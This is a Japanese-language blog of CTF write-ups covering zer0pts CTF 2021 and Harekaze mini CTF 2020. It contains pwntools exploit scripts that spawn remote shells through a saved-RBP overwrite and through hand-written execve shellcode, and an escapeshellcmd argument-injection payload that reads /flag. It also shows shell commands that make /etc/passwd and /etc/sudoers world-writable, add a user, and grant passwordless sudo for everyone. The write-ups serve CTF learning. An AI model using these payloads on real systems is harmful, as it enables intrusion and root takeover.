zer0pts CTF 2021 writeup
2021-3-6 09:00:00 (JST) ~ 2020-3-7 21:00:00 (JST)に開催されたzer0pts CTF 2021のWriteupです。
0x62EEN7EAという個人チームで出場して、134位でした。
warmup問しか解けませんでしたがとても楽しめました。
[pwn] Not beginner's stack
FOR_BEGINNERS.mdとmain.S、challという3つのファイルが渡されます。
以下はmain.Sです。
global _start section .text %macro call 1 ;; __stack_shadow[__stack_depth++] = return_address; mov ecx, [__stack_depth] mov qword [__stack_shadow + rcx * 8], %%return_address inc dword [__stack_depth] ;; goto function jmp %1 %%return_address: %endmacro %macro ret 0 ;; goto __stack_shadow[--__stack_depth]; dec dword [__stack_depth] mov ecx, [__stack_depth] jmp qword [__stack_shadow + rcx * 8] %endmacro _start: call notvuln call exit notvuln: ;; char buf[0x100]; enter 0x100, 0 ;; vuln(); call vuln ;; write(1, "Data: ", 6); mov edx, 6 mov esi, msg_data xor edi, edi inc edi call write ;; read(0, buf, 0x100); mov edx, 0x100 lea rsi, [rbp-0x100] xor edi, edi call read ;; return 0; xor eax, eax ret vuln: ;; char buf[0x100]; enter 0x100, 0 ;; write(1, "Data: ", 6); mov edx, 6 mov esi, msg_data xor edi, edi inc edi call write ;; read(0, buf, 0x1000); mov edx, 0x1000 ; [!] vulnerability lea rsi, [rbp-0x100] xor edi, edi call read ;; return; leave ret read: xor eax, eax syscall ret write: xor eax, eax inc eax syscall ret exit: mov eax, 60 syscall hlt section .data msg_data: db "Data: " __stack_depth: dd 0 section .bss __stack_shadow: resb 1024
checksecでchallのセキュリティ機構を調べます。
$ checksec chall [*] '/home/vagrant/zer0pts/not_beginners_stack/chall' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments
vuln関数にStack buffer overflowの脆弱性があるのですが、リターンアドレスがスタック上にないので書き換えられません。
notvuln関数内のreadに渡すbufのアドレスはrbp - 0x100
となっています。vuln関数でリターンアドレスは書き換えられないのですがrbpの値は書き換えられます。そのため、rbpを__stack_shadow
のアドレスに0x100足した値にしてやるとnotvuln関数内のreadで__stack_shadow
に好きな値を書き込めるようになります。
NX disabledとなっているので、シェルコードを適当に配置してそのアドレスに飛ばしてやればシェルを取ることができます。
# solve.py from pwn import * context.arch = "amd64" stack_shadow = 0x600234 p = remote('pwn.ctf.zer0pts.com', 9011) p.recvuntil('Data: ') payload = b'A' * 0x100 # overwrite rbp payload += p64(stack_shadow + 0x100) p.send(payload) # | | # stack shadow +--------------------+ # 0x600234 | 0x60023c | <- __stack_shadow[0] # +--------------------+ # 0x60023c | 0x600244 | <- ret addr # +--------------------+ # 0x600244 | shellcode | # +--------------------+ # | | p.recvuntil('Data: ') # overwrite __stack_shadow[0] payload = p64(stack_shadow + 8) # ret addr payload += p64(stack_shadow + 16) # shellcode payload += asm(shellcraft.sh()) p.send(payload) p.interactive()
$ python solve.py [+] Opening connection to pwn.ctf.zer0pts.com on port 9011: Done [*] Switching to interactive mode $ ls chall flag-4c57150ed5cda2a8570c94eb5a9a5f9f.txt redir.sh $ cat flag-4c57150ed5cda2a8570c94eb5a9a5f9f.txt zer0pts{1nt3rm3d14t3_pwn3r5_l1k3_2_0v3rwr1t3_s4v3d_RBP}
[rev] infected
backdoorという実行ファイルが渡されます。このファイルが接続先で動作しているようです。
backdoorをghidraでデコンパイルします。main関数はregister_backdoorを呼び出しているだけです。register_backdoorのデコンパイル結果を以下に示します。
void register_backdoor(undefined4 param_1,undefined8 param_2) { long in_FS_OFFSET; undefined local_38 [8]; undefined4 local_30; char **local_28; undefined4 local_20; char *local_18; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); local_18 = "DEVNAME=backdoor"; memset(local_38,0,0x20); local_30 = 1; local_28 = &local_18; local_20 = 1; cuse_lowlevel_main(param_1,param_2,local_38,devops,0); if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return; }
この関数の中でcuse_lowlevel_main
という関数を呼び出しています。この関数はlibfuseというライブラリの関数です。
どのような関数なのか調べるためにソースコードを見ると以下のように定義されていることがわかりました。
int cuse_lowlevel_main(int argc, char *argv[], const struct cuse_info *ci, const struct cuse_lowlevel_ops *clop, void *userdata);
この中で重要なのはcuse_lowlevel_ops
という構造体で、openやwriteされたときに呼び出す関数をここで設定できるようになっています。
register_backdoor
に型を適用し、読みやすいよう変数に名前をつけると以下のようになります。
void register_backdoor(int argc,char **argv) { long in_FS_OFFSET; cuse_info info; char *local_18; long canary; canary = *(long *)(in_FS_OFFSET + 0x28); local_18 = "DEVNAME=backdoor"; memset(&info,0,0x20); info.dev_info_argc = 1; info._16_8_ = &local_18; cuse_lowlevel_main(argc,argv,&info,&devops,0); if (canary != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return; }
上記のcuse_lowlevel_mainの定義におけるconst struct cuse_lowlevel_ops *clop
はregister_backdoor内ではdevops
となっています。devopsは以下のとおりです。
ここからwriteされたときにbackdoor_write
が、openされたときにbackdoor_open
が呼び出されることがわかります。
backdoor_write関数を見ていきます。
void backdoor_write(fuse_req_t req,char *buf,size_t size,off_t off,fuse_file_info *fi) { int iVar1; __mode_t __mode; char *__s; char *__s1; char *__file; char *__nptr; long in_FS_OFFSET; stat64 local_a8; long canary; canary = *(long *)(in_FS_OFFSET + 0x28); __s = strndup((char *)size,off); if (__s == (char *)0x0) { fuse_reply_err(buf,0x16); goto LAB_00100c8c; } __s1 = strtok(__s,":"); __file = strtok((char *)0x0,":"); __nptr = strtok((char *)0x0,":"); if (((__s1 == (char *)0x0) || (__file == (char *)0x0)) || (__nptr == (char *)0x0)) { fuse_reply_err(buf,0x16); } else { iVar1 = strncmp(__s1,"b4ckd00r",8); if (iVar1 == 0) { stat64(__file,&local_a8); if ((local_a8.st_mode & 0xf000) == 0x8000) { __mode = atoi(__nptr); iVar1 = chmod(__file,__mode); if (iVar1 == 0) { fuse_reply_write(buf,off,off); goto LAB_00100c7d; } } fuse_reply_err(buf,0x16); } else { fuse_reply_err(buf,0x16); } } LAB_00100c7d: free(__s); LAB_00100c8c: if (canary != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return; }
この関数で行っていることを大まかにまとめると
- 書き込まれた文字列が
__s1:__file:__nptr
という形式かチェック - 以下の条件を満たしていれば
__file
で与えた名前のファイルのパーミッションを__nptr
に変更する__s1
が"b4ckd00r"__file
で与えた名前のファイルのst_modeが0x8000
例えば、"b4ckd00r:/etc/passwd:4095"と書き込むと/etc/passwdに誰でも書き込み、読み込みできるようになり実行も行えるようになります。
backdoorは/dev/backdoor
にあるので、ここに上記のような文字列を書き込むとパーミッションを書き換えられます。
直接rootのパーミッションを書き換えようとしたところ失敗したため以下の手順で解きました。
- /etc/passwdと/etc/sudoersのパーミッションを書き換え、書き込み可能にする
- /etc/passwdに現在のユーザ(sudo)を追加する
- /etc/sudoersに"ALL ALL=NOPASSWD: ALL" を追加し誰でもパスワード入力なしでsudoを使えるようにする
- sudoを使ってflagを表示する
$ nc any.ctf.zer0pts.com 11011 sha256("????DRn4kuZA_8eThpLoQZQ_") = c4473aa00cef8764770d47eee78de96bfd8640b40a4154a393572d5c4e34f2d4 NeQO [+] Correct / $ id uid=1000 gid=1000(sudo) groups=1000(sudo) / $ echo "b4ckd00r:/etc/passwd:4095" > /dev/backdoor echo "b4ckd00r:/etc/passwd:4095" > /dev/backdoor / $ echo "b4ckd00r:/etc/sudoers:4095" > /dev/backdoor echo "b4ckd00r:/etc/sudoers:4095" > /dev/backdoor / $ echo "sudo:hoge:1000:1000::/bin/bash" >> /etc/passwd echo "sudo:hoge:1000:1000::/bin/bash" >> /etc/passwd / $ echo "ALL ALL=NOPASSWD: ALL" >> /etc/sudoers echo "ALL ALL=NOPASSWD: ALL" >> /etc/sudoers / $ echo "b4ckd00r:/etc/sudoers:288" > /dev/backdoor echo "b4ckd00r:/etc/sudoers:288" > /dev/backdoor / $ sudo /bin/ls root sudo /bin/ls root flag-b40d08b2f732b94d5ba34730c052d7e3.txt / $ sudo /bin/cat /root/flag-b40d08b2f732b94d5ba34730c052d7e3.txt sudo /bin/cat /root/flag-b40d08b2f732b94d5ba34730c052d7e3.txt zer0pts{exCUSE_m3_bu7_d0_u_m1nd_0p3n1ng_7h3_b4ckd00r?} / $
Harekaze mini CTF 2020 writeup
2020-12-26 01:00:00 (UTC) - 2020-12-27 01:00:00 (UTC)に開催されたHarekaze mini CTF 2020のWriteupです。
0x62EEN7EAという個人チームで出場して、141チーム中27位でした。
reversing問を全部解けたので嬉しかったです。
解いた問題は以下の通りです。
- [web] What time is it now?
- [pwn] Shellcode
- [rev] Easy Flag Checker
- [rev] Wait
- [rev] Tiny Flag Checker
[web] What time is it now?
Dockerfileとindex.phpが与えられます。
index.phpは以下の通りです。
<?php if (isset($_GET['source'])) { highlight_file(__FILE__); exit; } $format = isset($_REQUEST['format']) ? (string)$_REQUEST['format'] : '%H:%M:%S'; $result = shell_exec("date '+" . escapeshellcmd($format) . "' 2>&1"); ?> <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <title>What time is it now?</title> <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/css/bootstrap.min.css" integrity="sha384-Vkoo8x4CGsO3+Hhxv8T/Q5PaXtkKtu6ug5TOeNV6gBiFeWPGFN9MuhOf23Q9Ifjh" crossorigin="anonymous"> </head> <body> <header> <nav class="navbar navbar-expand-lg navbar-dark bg-dark"> <div class="container"> <a class="navbar-brand" href="index.php">What time is it now?</a> <div class="navbar-collapse"> <ul class="navbar-nav mr-auto"> <li class="nav-item"><a class="nav-link" href="?source">Source Code</a></li> </ul> </div> </div> </nav> </header> <main> <section class="jumbotron text-center"> <div class="container"> <h1 class="jumbotron-heading"><span class="text-muted">It's</span> <?= isset($result) ? $result : '?' ?><span class="text-muted">.</span></h1> <p> <a href="?format=%H:%M:%S" class="btn btn-outline-secondary">What time is it now?</a> <a href="?format=%Y-%m-%d" class="btn btn-outline-secondary">What is the date today?</a> <a href="?format=%s" class="btn btn-outline-secondary">What time is it now in UNIX time?</a> </p> </div> </section> </main> <script src="https://code.jquery.com/jquery-3.4.1.slim.min.js" integrity="sha384-J6qa4849blE2+poT4WnyKhv5vZF5SrPo0iEjwBvKU7imGFAV0wwj1yYfoRSJoZ+n" crossorigin="anonymous"></script> <script src="https://cdn.jsdelivr.net/npm/popper.js@1.16.0/dist/umd/popper.min.js" integrity="sha384-Q6E9RHvbIyZFJoft+2mJbHaEWldlvI9IOYy5n3zV9zzTtmI3UksdQRVvoxMfooAo" crossorigin="anonymous"></script> <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/js/bootstrap.min.js" integrity="sha384-wfSDF2E50Y2D1uUdj0O3uMBJnjuUD4Ih7YwaYd1iqfktj0Uod8GCExl3Og8ifwB6" crossorigin="anonymous"></script> </body> </html>
formatに与えた文字列がescapeshellcmdでエスケープされてdateに渡されています。
escapeshellcmdはシングルクォートやダブルクォートが対になっていない場合にのみエスケープされるのでそれを利用します。
date -f <file>
を実行するとfileの各行の文字列を時刻にして表示してくれて、変換できない時はinvalid date '文字列'
と表示されるのでこれを使って、
http://harekaze2020.317de643c0ae425482fd.japaneast.aksapp.io/what-time-is-it-now/?format=' -f '/flag
としてやるとフラグが表示されます。
It's date: invalid date 'HarekazeCTF{1t\'s_7pm_1n_t0ky0}' .
[pwn] Shellcode
"/bin/sh"のアドレスが与えられるのでそれを利用してexecve("/bin/sh", NULL, NULL)を実行するシェルコードを書くだけです。
レジスタの状態を以下のようにしてsyscallを実行するとexecve("/bin/sh", NULL, NULL)を実行できます。
register | value |
---|---|
rax | 59 |
rdi | /bin/shのアドレス |
rsi | 0x0 |
rdx | 0x0 |
"/bin/sh"のアドレスをそのままediに代入するとヌル文字が入ってしまうので、あらかじめ左シフトした値を代入して右シフトすることでそれを防いでいます。
from pwn import * context.binary = "shellcode" p = remote("20.48.83.165", 20005) p.readuntil('"/bin/sh" is at') binsh = int(p.readline().strip(), 16) << 2 shellcode = asm( f""" xor rdx, rdx xor rdi, rdi xor rsi, rsi mov edi, {binsh} shr edi, 2 lea rax, [rdx+59] syscall """) p.sendline(shellcode) p.interactive()
python solve.py [*] '/home/vagrant/Harekaze_mini_2020/shellcode/distfiles/shellcode' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Opening connection to 20.48.83.165 on port 20005: Done [*] Switching to interactive mode Execute execve("/bin/sh", NULL, NULL) $ cat /home/shellcode/flag HarekazeCTF{W3lc0me_7o_th3_pwn_w0r1d!}
[rev] Easy Flag Checker
challという実行ファイルが与えられました。
ghidraでデコンパイルします。
undefined8 main(void) { int iVar1; long in_FS_OFFSET; undefined local_38 [40]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); printf("Input flag: "); __isoc99_scanf(&DAT_00402015,local_38); iVar1 = check(local_38,"fakeflag{this_is_not_the_real_flag}"); if (iVar1 == 0) { printf("Congratulations! The flag is: %s\n",local_38); } else { puts("Nope."); } if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return 0; }
入力をcheck関数に渡して、その戻り値が0なら正しいフラグだとわかります。
check関数を見ていきます。
undefined8 check(long param_1,long param_2) { char cVar1; int local_c; local_c = 0; while( true ) { if (0x22 < local_c) { return 0; } cVar1 = (**(code **)(funcs + (long)(local_c % 3) * 8)) ((ulong)(uint)(int)*(char *)(param_2 + local_c), (ulong)(uint)(int)(char)table[local_c],(ulong)(uint)(int)(char)table[local_c] ); if (cVar1 < *(char *)(param_1 + local_c)) break; if (*(char *)(param_1 + local_c) < cVar1) { return 0xffffffff; } local_c = local_c + 1; } return 1; }
funcsの3つの関数を順番に呼び出し、cVar1に代入しています。funcsの引数は第二引数のlocal_c番目の文字とtableのi番目の要素です。
funcsには0x401196, 0x4011b4, 0x4011d4の3つのアドレスが順番に入っており、
- 0x401196は二つの引数を足し合わせる関数
- 0x4011b4は第一引数から第二引数を引く関数
- 0x4011d4は第一引数と第二引数でxorを取る関数
でした。
cVar1と入力のlocal_c番目の文字を比較し、1文字でも違っていたら1や0xffffffffを返すようになっています。
よって、cVar1を求めてやるとフラグが手に入ります。
def add(a, b): return a + b def sub(a, b): return a - b def xor(a, b): return a ^ b funcs = [ add, sub, xor, ] tables = [0xe2,0x00,0x19,0x00,0xfb,0x0d,0x19,0x02,0x38,0xe0,0x22,0x12,0xbd,0xed,0x1d,0xf5,0x2f,0x0a,0xc1,0xfc,0x00,0xf2,0xfc,0x51,0x08,0x13,0x06,0x07,0x39,0x3c,0x05,0x39,0x13,0xba,0x00] param2 = b"fakeflag{this_is_not_the_real_flag}" for i in range(0x22 + 1): tmp = funcs[i % 3](param2[i], tables[i]) print(chr(tmp & 0xff), end="") print()
$ python solve.py HarekazeCTF{0rth0d0x_fl4g_ch3ck3r!}
[rev] Wait
a.outという実行ファイルが与えられます。
とりあえずghidraでデコンパイルします。
undefined8 main(void) { int iVar1; long in_FS_OFFSET; int local_dc; int local_d8; int local_d4; int local_d0; int local_cc; uchar local_b8 [16]; undefined8 local_a8; undefined4 local_a0; undefined2 local_9c; undefined local_9a; uchar local_98 [32]; uchar local_78 [32]; uchar local_58 [11]; undefined local_4d; undefined local_4c; undefined local_4b; undefined local_4a; undefined local_49; undefined local_48; undefined local_47; undefined local_46; undefined local_45; byte local_38 [14]; byte abStack42 [4]; char local_26; char local_25; undefined local_24; undefined local_23; undefined local_22; undefined local_21; undefined local_20; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); local_a8 = 0x657a616b65726148; local_a0 = 0x7b465443; local_9c = 0x4449; local_9a = 0; local_78[0] = '\x1f'; local_78[1] = 0xcc; local_78[2] = 0xe7; local_78[3] = 0xec; local_78[4] = 0x44; local_78[5] = 0xbe; local_78[6] = 0xb7; local_78[7] = 0x2c; local_78[8] = 0x99; local_78[9] = 0x4e; local_78[10] = 0x2c; local_78[11] = 0xd6; local_78[12] = 0x9c; local_78[13] = 0x46; local_78[14] = 0x29; local_78[15] = 0x16; local_78[16] = 0xca; local_78[17] = 0x8e; local_78[18] = 200; local_78[19] = 0x10; local_b8[0] = '&'; local_b8[1] = 0x44; local_b8[2] = 0x1f; local_b8[3] = 0x16; local_b8[4] = 0xb; local_b8[5] = 0xb; local_b8[6] = 0x1c; local_b8[7] = 0x21; local_b8[8] = 0x1d; local_b8[9] = 0x20; local_b8[10] = 0; local_58[0] = '\\'; local_58[1] = 0x75; local_58[2] = 0xca; local_58[3] = 0x57; local_58[4] = 0x85; local_58[5] = 0x49; local_58[6] = 0xf6; local_58[7] = 0xa2; local_58[8] = 200; local_58[9] = 0x3d; local_58[10] = 0x14; local_4d = 0xd1; local_4c = 0xef; local_4b = 0xce; local_4a = 0x56; local_49 = 0x55; local_48 = 0xa5; local_47 = 0; local_46 = 0xaa; local_45 = 0x67; puts("Input flag ( HINT: ^HarekazeCTF\\{ID[A-Z]{4}X\\}$ )"); __isoc99_scanf(&DAT_00400bea,local_38); local_dc = 0; while (local_dc < 0xe) { if (*(byte *)((long)&local_a8 + (long)local_dc) != local_38[local_dc]) { puts("Wrong flag"); goto LAB_00400b0c; } local_dc = local_dc + 1; } local_d8 = 0xe; while (local_d8 < 0x12) { if ((local_38[local_d8] < 0x41) || (0x5a < local_38[local_d8])) { puts("Wrong flag"); goto LAB_00400b0c; } local_d8 = local_d8 + 1; } if ((local_26 == 'X') && (local_25 == '}')) { local_24 = 0x53; local_23 = 0x41; local_22 = 0x4c; local_21 = 0x54; local_20 = 0; puts("Verifying... "); local_d4 = 0; while (local_d4 < 0xb) { local_b8[local_d4] = local_b8[local_d4] + command1[local_d4]; local_d4 = local_d4 + 1; } SHA1(local_b8,0xb,local_98); local_d0 = 0; while (local_d0 < 0xb) { if (local_98[local_d0] != local_58[local_d0]) { puts("Be patient"); goto LAB_00400b0c; } local_d0 = local_d0 + 1; } iVar1 = system((char *)local_b8); if (iVar1 == 0) { SHA1(local_38,0x19,local_98); local_cc = 0; while (local_cc < 0x14) { if (local_98[local_cc] != local_78[local_cc]) { puts("Wrong flag"); goto LAB_00400b0c; } local_cc = local_cc + 1; } puts("Correct flag"); } else { puts("Be patient"); } } else { puts("Wrong flag"); } LAB_00400b0c: if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return 0; }
少しずつ読んでいきます。
while (local_dc < 0xe) { if (*(byte *)((long)&local_a8 + (long)local_dc) != local_38[local_dc]) { puts("Wrong flag"); goto LAB_00400b0c; } local_dc = local_dc + 1; }
この部分で入力された文字列の先頭がHarekazeCTF{ID
かどうか調べています。
local_d8 = 0xe; while (local_d8 < 0x12) { if ((local_38[local_d8] < 0x41) || (0x5a < local_38[local_d8])) { puts("Wrong flag"); goto LAB_00400b0c; } local_d8 = local_d8 + 1; }
次にこの部分でHarekazeCTF{ID
に続く四文字がA~Zかどうか調べています。
if ((local_26 == 'X') && (local_25 == '}')) { local_24 = 0x53; local_23 = 0x41; local_22 = 0x4c; local_21 = 0x54; local_20 = 0; puts("Verifying... ");
この部分では入力の末尾がX}
であるか調べてX}
ならば、その後ろにSALT
という文字列を付け加えています。
if (iVar1 == 0) { SHA1(local_38,0x19,local_98); local_cc = 0; while (local_cc < 0x14) { if (local_98[local_cc] != local_78[local_cc]) { puts("Wrong flag"); goto LAB_00400b0c; } local_cc = local_cc + 1; } puts("Correct flag");
少し飛ばしてこの部分で入力をハッシュ化して、local_78に入っているフラグのハッシュ値と比較しています。
入力のうち変わる部分はHarekazeCTF{ID
の後の4文字だけなので総当たりで求めます。
#include <openssl/sha.h> #include <stdio.h> #include <string.h> int main() { unsigned char flag_buffer[100]; unsigned char hoge[5]; unsigned char hash[0x20]; unsigned char expected[20]; int is_wrong = 0; expected[0] = '\x1f'; expected[1] = 0xcc; expected[2] = 0xe7; expected[3] = 0xec; expected[4] = 0x44; expected[5] = 0xbe; expected[6] = 0xb7; expected[7] = 0x2c; expected[8] = 0x99; expected[9] = 0x4e; expected[10] = 0x2c; expected[11] = 0xd6; expected[12] = 0x9c; expected[13] = 0x46; expected[14] = 0x29; expected[15] = 0x16; expected[16] = 0xca; expected[17] = 0x8e; expected[18] = 200; expected[19] = 0x10; for (int i = 0x41; i <= 0x5a; i++) { for (int j = 0x41; j <= 0x5a; j++) { for (int k = 0x41; k <= 0x5a; k++) { for (int l = 0x41; l <= 0x5a; l++) { hoge[0] = i; hoge[1] = j; hoge[2] = k; hoge[3] = l; hoge[4] = '\0'; sprintf(flag_buffer, "HarekazeCTF{ID%sX}SALT", hoge); SHA1(flag_buffer, 0x19, hash); is_wrong = 0; for (int h = 0; h < 0x14; h++) { if (hash[h] != expected[h]) { is_wrong = 1; break; } } if (is_wrong == 0) { printf("%s\n", flag_buffer); return 0; } } } } } }
$ gcc -o solver solver.c -lcrypto -lssl $ ./solver HarekazeCTF{IDRACIX}SALT
[rev] Tiny Flag Checker
xxdコマンドを使って16進ダンプしてみます。
$ xxd tiny 00000000: 7f45 4c46 5555 4e5f 4b41 5741 4949 16c6 .ELFUUN_KAWAII.. 00000010: 0200 3e00 4142 4344 a200 4000 0000 0000 ..>.ABCD..@..... 00000020: 4000 0000 0000 0000 e7fc 6375 63cf fdf0 @.........cuc... 00000030: 66ae dc4f 4fcf 3800 0100 0000 0000 0000 f..OO.8......... 00000040: 0100 0000 0500 0000 0000 0000 0000 0000 ................ 00000050: 0000 4000 0000 0000 4e6f 7065 2e2e 2e0a ..@.....Nope.... 00000060: 6e01 0000 0000 0000 6e01 0000 0000 0000 n.......n....... 00000070: 496e 7075 743a 2000 436f 7272 6563 7421 Input: .Correct! 00000080: 2046 6c61 673a 2048 6172 656b 617a 6543 Flag: HarekazeC 00000090: 5446 7b7d 0ab8 0100 0000 bf01 0000 000f TF{}............ 000000a0: 05c3 4883 ec10 4989 e048 83ec 1049 89e1 ..H...I..H...I.. 000000b0: 660f efc0 0f29 0424 0f29 4424 10be 7000 f....).$.)D$..p. 000000c0: 4000 ba07 0000 00e8 c9ff ffff 31c0 31ff @...........1.1. 000000d0: 4c89 c6ba 1000 0000 0f05 498b 0049 3101 L.........I..I1. 000000e0: 498b 4008 4931 4108 49c1 0929 49c1 4908 I.@.I1A.I..)I.I. 000000f0: 1348 8b04 2500 0040 0049 3101 488b 0425 .H..%..@.I1.H..% 00000100: 0800 4000 4931 4108 488b 0425 2800 4000 ..@.I1A.H..%(.@. 00000110: 4933 0148 8b14 2530 0040 0049 3351 0848 I3.H..%0.@.I3Q.H 00000120: 21c0 7532 4839 d075 2dbe 7800 4000 ba1b !.u2H9.u-.x.@... 00000130: 0000 00e8 5dff ffff 4c89 c6ba 1000 0000 ....]...L....... 00000140: e850 ffff ffbe 9300 4000 ba02 0000 00e8 .P......@....... 00000150: 41ff ffff eb0f be58 0040 00ba 0800 0000 A......X.@...... 00000160: e830 ffff ffb8 3c00 0000 31ff 0f05 .0....<...1...
通常の実行ファイルと比較してヘッダーが少し変になっています。
また、gdbでデバッグしようとしてもうまく認識してくれずobjdumpも動作しませんでした。
そのため自力で解析します。以下のコードを書いて解析を行いました。
from capstone import * from ctypes import * import io class ELF64FileHeader(Structure): _fields_ = [ ("e_indent", c_char * EI_NINDENT), ("e_type", c_uint16), ("e_machine", c_uint16), ("e_version", c_uint32), ("e_entry", c_uint64), ("e_phoff", c_uint64), ("e_shoff", c_uint64), ("e_flags", c_uint32), ("e_ehsize", c_uint16), ("e_phentsize", c_uint16), ("e_phnum", c_uint16), ("e_shentsize", c_uint16), ("e_shnum", c_uint16), ("e_shstrndx", c_uint16), ] class ELF64ProgramHeader(Structure): _fields_ = [ ("p_type", c_uint32), ("p_offset", c_uint32), ("p_vaddr", c_uint64), ("p_paddr", c_uint64), ("p_filesz", c_uint64), ("p_flags", c_uint64), ("p_memsz", c_uint64), ("p_align", c_uint64), ] stream = io.BytesIO(open("tiny", "rb").read()) # ELFヘッダの解析 header = ELF64FileHeader() stream.readinto(header) print("----- ELF header -----") print(f"e_type: {header.e_type}") print(f"e_machine: {header.e_machine} => x86_64") print(f"e_entry: {hex(header.e_entry)}") print(f"e_phoff: {hex(header.e_phoff)}") print(f"e_shoff: {hex(header.e_shoff)}") print(f"e_phnum: {hex(header.e_phnum)}") print(f"e_shnum: {hex(header.e_shnum)}") stream.seek(header.e_phoff) # プログラムヘッダの解析 phdr = ELF64ProgramHeader() stream.readinto(phdr) print("----- Program header -----") print(f"p_type: {phdr.p_type}") print(f"p_offset: {hex(phdr.p_offset)}") print(f"p_vaddr: {hex(phdr.p_vaddr)}") print(f"p_paddr: {hex(phdr.p_paddr)}") print(f"p_memsz: {hex(phdr.p_memsz)}") print(f"p_filesz: {hex(phdr.p_filesz)}") stream.seek(0x95) code = stream.read(-1) md = Cs(CS_ARCH_X86, CS_MODE_64) print("----- disassemble -----") # 逆アセンブル for i in md.disasm(code, 0x400095): print("0x%x:\t%s\t%s" %(i.address, i.mnemonic, i.op_str))
上のコードを実行すると以下の結果が得られます。
$ python analysis.py ----- ELF header ----- e_type: 2 e_machine: 62 => x86_64 e_entry: 0x4000a2 e_phoff: 0x40 e_shoff: 0xf0fdcf637563fce7 e_phnum: 0x1 e_shnum: 0x0 ----- Program header ----- p_type: 1 p_offset: 0x5 p_vaddr: 0x0 p_paddr: 0x400000 p_memsz: 0x16e p_filesz: 0xa2e2e2e65706f4e ----- disassemble ----- 0x400095: mov eax, 1 0x40009a: mov edi, 1 0x40009f: syscall 0x4000a1: ret 0x4000a2: sub rsp, 0x10 0x4000a6: mov r8, rsp 0x4000a9: sub rsp, 0x10 0x4000ad: mov r9, rsp 0x4000b0: pxor xmm0, xmm0 0x4000b4: movaps xmmword ptr [rsp], xmm0 0x4000b8: movaps xmmword ptr [rsp + 0x10], xmm0 0x4000bd: mov esi, 0x400070 0x4000c2: mov edx, 7 0x4000c7: call 0x400095 0x4000cc: xor eax, eax 0x4000ce: xor edi, edi 0x4000d0: mov rsi, r8 0x4000d3: mov edx, 0x10 0x4000d8: syscall 0x4000da: mov rax, qword ptr [r8] 0x4000dd: xor qword ptr [r9], rax 0x4000e0: mov rax, qword ptr [r8 + 8] 0x4000e4: xor qword ptr [r9 + 8], rax 0x4000e8: ror qword ptr [r9], 0x29 0x4000ec: ror qword ptr [r9 + 8], 0x13 0x4000f1: mov rax, qword ptr [0x400000] 0x4000f9: xor qword ptr [r9], rax 0x4000fc: mov rax, qword ptr [0x400008] 0x400104: xor qword ptr [r9 + 8], rax 0x400108: mov rax, qword ptr [0x400028] 0x400110: xor rax, qword ptr [r9] 0x400113: mov rdx, qword ptr [0x400030] 0x40011b: xor rdx, qword ptr [r9 + 8] 0x40011f: and rax, rax 0x400122: jne 0x400156 0x400124: cmp rax, rdx 0x400127: jne 0x400156 0x400129: mov esi, 0x400078 0x40012e: mov edx, 0x1b 0x400133: call 0x400095 0x400138: mov rsi, r8 0x40013b: mov edx, 0x10 0x400140: call 0x400095 0x400145: mov esi, 0x400093 0x40014a: mov edx, 2 0x40014f: call 0x400095 0x400154: jmp 0x400165 0x400156: mov esi, 0x400058 0x40015b: mov edx, 8 0x400160: call 0x400095 0x400165: mov eax, 0x3c 0x40016a: xor edi, edi 0x40016c: syscall
ヘッダーからアーキテクチャがx86_64であることやエントリーポイントが0x4000a2であることがわかります。
アセンブリコードが得られたので気合いで読みます。
読みやすいようにアセンブリコードにラベルやコメントを加えると以下のようになります。
#------------------------------ # r8 <= stack addr (input) # r9 <= stack addr (buffer) #------------------------------ #------------------------------ # text list # - 0x400058: "Nope..." # - 0x400070: "Input: " # - 0x400078: "Correct!" # - 0x400081: "Flag: HarekazeCTF{}" #------------------------------ #------------------------------ # write function # - esi: text addr # - edx: text length #------------------------------ write: 0x400095: mov eax, 1 0x40009a: mov edi, 1 0x40009f: syscall 0x4000a1: ret #------------------------------ # entry function #------------------------------ entry: 0x4000a2: sub rsp, 0x10 0x4000a6: mov r8, rsp 0x4000a9: sub rsp, 0x10 0x4000ad: mov r9, rsp 0x4000b0: pxor xmm0, xmm0 0x4000b4: movaps xmmword ptr [rsp], xmm0 0x4000b8: movaps xmmword ptr [rsp + 0x10], xmm0 0x4000bd: mov esi, 0x400070 ; "Input: " 0x4000c2: mov edx, 7 0x4000c7: call write<0x400095> # read(stdin, 0x10, r8) 0x4000cc: xor eax, eax 0x4000ce: xor edi, edi 0x4000d0: mov rsi, r8 0x4000d3: mov edx, 0x10 0x4000d8: syscall # r9 <= r8 (入力の前半8byte) 0x4000da: mov rax, qword ptr [r8] 0x4000dd: xor qword ptr [r9], rax # r9 + 8 <= r8 + 8 (入力の後半8byte) 0x4000e0: mov rax, qword ptr [r8 + 8] 0x4000e4: xor qword ptr [r9 + 8], rax # r9 rotate right 0x29 bit 0x4000e8: ror qword ptr [r9], 0x29 # (r9 + 8) rotate right 0x13 bit 0x4000ec: ror qword ptr [r9 + 8], 0x13 # r9 ^ 0x5f4e5555464c457f ("\x7fELFUUN_") 0x4000f1: mov rax, qword ptr [0x400000] 0x4000f9: xor qword ptr [r9], rax # (r9 + 8) ^ 0xc61649494157414b ("KAWAII\x16\xc6") 0x4000fc: mov rax, qword ptr [0x400008] 0x400104: xor qword ptr [r9 + 8], rax # rax = r9 ^ f0fdcf637563fce7 0x400108: mov rax, qword ptr [0x400028] 0x400110: xor rax, qword ptr [r9] # rdx = (r9 + 8) ^ 0038cf4f4fdcae66 0x400113: mov rdx, qword ptr [0x400030] 0x40011b: xor rdx, qword 